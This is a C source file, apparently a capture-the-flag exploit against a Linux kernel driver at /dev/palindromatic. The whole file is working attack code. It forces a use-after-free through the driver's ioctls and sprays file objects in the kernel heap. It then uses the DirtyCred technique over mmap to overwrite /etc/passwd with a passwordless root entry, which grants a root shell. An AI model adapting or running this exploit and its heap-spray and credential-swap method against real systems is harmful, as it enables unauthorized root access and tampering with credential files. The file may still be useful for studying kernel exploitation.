/..

#CONTENT

#TOP

exploit.c
C
#define  _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <err.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/mman.h>
#include <stdlib.h>

/* palindromatic.h START */
enum : unsigned int
{
    QUEUE = 0xb10500a,
    SANITIZE,
    RESET,
    PROCESS,
    REAP,
    QUERY
};

typedef enum ptype : unsigned long
{
    RAW = 0x1337,
    SANITIZED,
    PALINDROME,
    NONPALINDROME
} ptype;

#define TARGET_SZ   0x400
#define STRING_SZ   ((TARGET_SZ-2*sizeof(unsigned long))/2)

typedef struct request_t 
{
    ptype type;
    unsigned long magic;
    char str[STRING_SZ];
    char sanstr[STRING_SZ];
} request_t;

typedef struct arg_t
{
    char *buffer;
} arg_t;

#define QUEUE_SZ     0x100
/* palindromatic.h END */

// /sys/kernel/slab/filp/objs_per_slab
#define OBJS_PER_SLAB (8UL)
// /sys/kernel/slab/filp/cpu_partial
#define CPU_PARTIAL (24UL)
#define OBJ_SIZE (0x400UL)

#define MSG_SPRAYS (512)
#define KEY_SPRAYS (512)

#define try(expr)({ \
    int _i = (expr); \
    if (0 > _i) { \
        errx(1, "error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
    } \
    _i; \
})

#define warn(expr)({ \
    int _i = (expr); \
    if (0 > _i) { \
        printf("pwn: error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
    } \
    _i; \
})

typedef struct {
    uint16_t incoming;
    uint16_t outgoing;
} __attribute__((packed)) capacity;

int dfd;

capacity unused(capacity *cap) {
    union {
        capacity cap;
        long status;
    } response;

    response.status = try(ioctl(dfd, QUERY));
    *cap = response.cap;
    return *cap;
}

capacity used(capacity *cap) {
    unused(cap);
    cap->incoming = QUEUE_SZ - cap->incoming;
    cap->outgoing = QUEUE_SZ - cap->outgoing;

    return *cap;
}

void prompt(char *str) {
    printf("%s", str);
    getchar();
    warn(ioctl(dfd, QUERY));
}

int busyloop(void *arg) {
    while (1) {}
}

int main() {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("[+] starting exploit\n");

    dfd = try(open("/dev/palindromatic", O_RDONLY));

    char repeat[TARGET_SZ] = {0};
    memset(repeat, 0x41, sizeof(repeat));

    arg_t req = { .buffer = repeat, };
    capacity cap;

    int count = 0;

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try (ioctl(dfd, QUEUE, &req));
        count++;
    }

    for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
        try(ioctl(dfd, QUEUE, &req));
        count++;
    }

    try(ioctl(dfd, SANITIZE));

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try(ioctl(dfd, PROCESS));

        used(&cap);
        printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
        if (cap.incoming + cap.outgoing != count) {
            printf("chunk uafed\n");
            break;
        }
    }

    if (cap.incoming + cap.outgoing == count) {
        errx(1, "failed to uaf chunk");
    }

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try(ioctl(dfd, QUEUE, &req));
    }

    printf("[+] freeing reference in outgoing list\n");
    int outgoing = cap.outgoing;
    for (int i = 0; i < outgoing; i++) {
        try(ioctl(dfd, REAP));
        used(&cap);
        printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
    }

    try(ioctl(dfd, RESET));

    while (outgoing != OBJS_PER_SLAB - 1) {
        try(ioctl(dfd, RESET));
        outgoing += 1;
    }

    printf("[+] filling outgoing list\n");
    for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
        int before = used(&cap).incoming;
        try(ioctl(dfd, PROCESS));
        int after = used(&cap).incoming;
        
        if (after + 1 != before) {
            printf("[+] after: %d, before: %d\n", after, before);
            errx(1, "something went wrong???");
        }
    }

    for (int i = 0; i < 8; i++) {
        try(ioctl(dfd, PROCESS));
    }

    try(ioctl(dfd, PROCESS));

    for (int i = 0; i < OBJS_PER_SLAB * CPU_PARTIAL; i++) {
        try(ioctl(dfd, REAP));
    }

    used(&cap);
    printf("incoming: %d, outgoing; %d\n", cap.incoming, cap.outgoing);

    #define NUM_SPRAY_FDS (0x300)
    int spray_fds[NUM_SPRAY_FDS];
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds[i] = try(open("/tmp/a", O_RDWR));
    }

    try(ioctl(dfd, RESET));
    try(ioctl(dfd, RESET));

    int spray_fds_2[NUM_SPRAY_FDS];
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds_2[i] = open("/tmp/a", O_RDWR);
        lseek(spray_fds_2[i], 0x8, SEEK_SET);
    }

    int freed_fd = -1;
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 0x8) {
            freed_fd = spray_fds[i];
            lseek(freed_fd, 0x0, SEEK_SET);
            printf("[+] Found freed fd: %d\n", freed_fd);
        }
    }
    if (freed_fd == -1)
        errx(1, "failed to find freed fd");

    puts("[+] DirtyCred via mmap");
    char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0);
    // After: 3 fd 2 refcount (Because new file)

    close(freed_fd);
    // After: 2 fd 1 refcount (Because new file)

    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        close(spray_fds_2[i]);
    }
    // After: 1 fd 0 refcount (Because new file)
    // Effect: FD in mmap (which is writeable) can be replaced with RDONLY file

    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds[i] = open("/etc/passwd", O_RDONLY);
    }
    // After: 2 fd 1 refcount (but writeable due to mmap)

    strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n");
    puts("[+] Finished! Open root shell...");
    puts("=======================");

    while (1) {}
}